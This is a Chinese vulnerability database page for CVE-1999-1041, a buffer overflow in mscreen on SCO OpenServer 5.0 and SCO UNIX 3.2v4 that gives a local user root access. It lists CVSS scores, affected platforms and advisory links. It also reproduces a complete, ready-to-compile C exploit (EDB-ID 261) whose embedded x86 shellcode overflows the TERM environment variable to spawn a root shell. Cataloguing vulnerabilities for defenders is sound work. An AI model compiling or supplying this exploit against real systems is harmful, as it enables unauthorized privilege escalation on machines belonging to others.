CVE-1999-1041
CVSS7.2
发布时间 :1998-08-27 00:00:00
修订时间 :2016-10-17 22:00:35
NMCOE    

[原文]Buffer overflow in mscreen on SCO OpenServer 5.0 and SCO UNIX 3.2v4 allows a local user to gain root access via (1) a long TERM environmental variable and (2) a long entry in the .mscreenrc file.


[CNNVD]SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞(CNNVD-199808-015)

        SCO OpenServer 5.0版本及SCO UNIX 3.2v4版本上的mscreen存在缓冲区溢出漏洞。本地用户借助(1)一个TERM环境变量及(2)一个.mscreenrc文件中的长输入条目获得根使用权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sco:unix:3.2v4
cpe:/o:sco:openserver:5.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1041
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1041
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199808-015
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.sco.com/SSE/security_bulletins/SB-98.05a
(UNKNOWN)  SCO  SB-98.05a
http://marc.info/?l=bugtraq&m=90686250717719&w=2
(UNKNOWN)  BUGTRAQ  19980926 Root exploit for SCO OpenServer.
http://www.cert.org/vendor_bulletins/VB-98.10.sco.mscreen
(VENDOR_ADVISORY)  CERT  VB-98.10
http://www.securityfocus.com/archive/1/10420
(VENDOR_ADVISORY)  BUGTRAQ  19980827 SCO mscreen vul.

- 漏洞信息

SCO OpenServer及SCO UNIX mscreen缓冲区溢出漏洞
高危 缓冲区溢出
1998-08-27 00:00:00 2005-10-20 00:00:00
本地  
        SCO OpenServer 5.0版本及SCO UNIX 3.2v4版本上的mscreen存在缓冲区溢出漏洞。本地用户借助(1)一个TERM环境变量及(2)一个.mscreenrc文件中的长输入条目获得根使用权。

- 公告与补丁

        

- 漏洞信息 (261)

SCO OpenServer 5.0.5 Env Local Stack Overflow Exploit (EDBID:261)
sco local
2001-01-26 Verified
0 k2
N/A [点击下载]
/*      Copyright (c) 2000 ADM                                  */
/*      All Rights Reserved                                     */
/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */
/*                                                              */
/*      Title:        SCO OpenServer mscreen                    */
/*      Tested under: SCO OpenServer 5.0.5                      */
/*      By:           K2                                        */
/*      Use:          gcc -o mscreen sco-mscreen.c              */
/*                                                              */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
  /* doble@iname.com */
   "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
   "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
   "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
   
#define SIZE 130
#define NOPDEF 40
#define DEFOFF -200
#define EGG 500

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];
char egg[EGG];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();
    memset(egg,x86_nop,EGG);
    memcpy(egg+300, shell, strlen(shell));
    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = 1; i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }
    memcpy(egg,"HOSTNAME=",9);  /* just playin */
    memcpy(buffer,"TERM=",5);   /* here's the overflow */
    putenv(egg);
    putenv(buffer);
    printf("offset = [0x%x]\n",esp+offset);
    execl("/usr/bin/mscreen", "mscreen", NULL);
    printf("exec failed!\n");
    return 0;
}


// milw0rm.com [2001-01-26]
		

- 漏洞信息

8791
SCO UNIX / OpenServer mscreen Multiple Vector Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1998-08-27 Unknow
1998-09-26 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站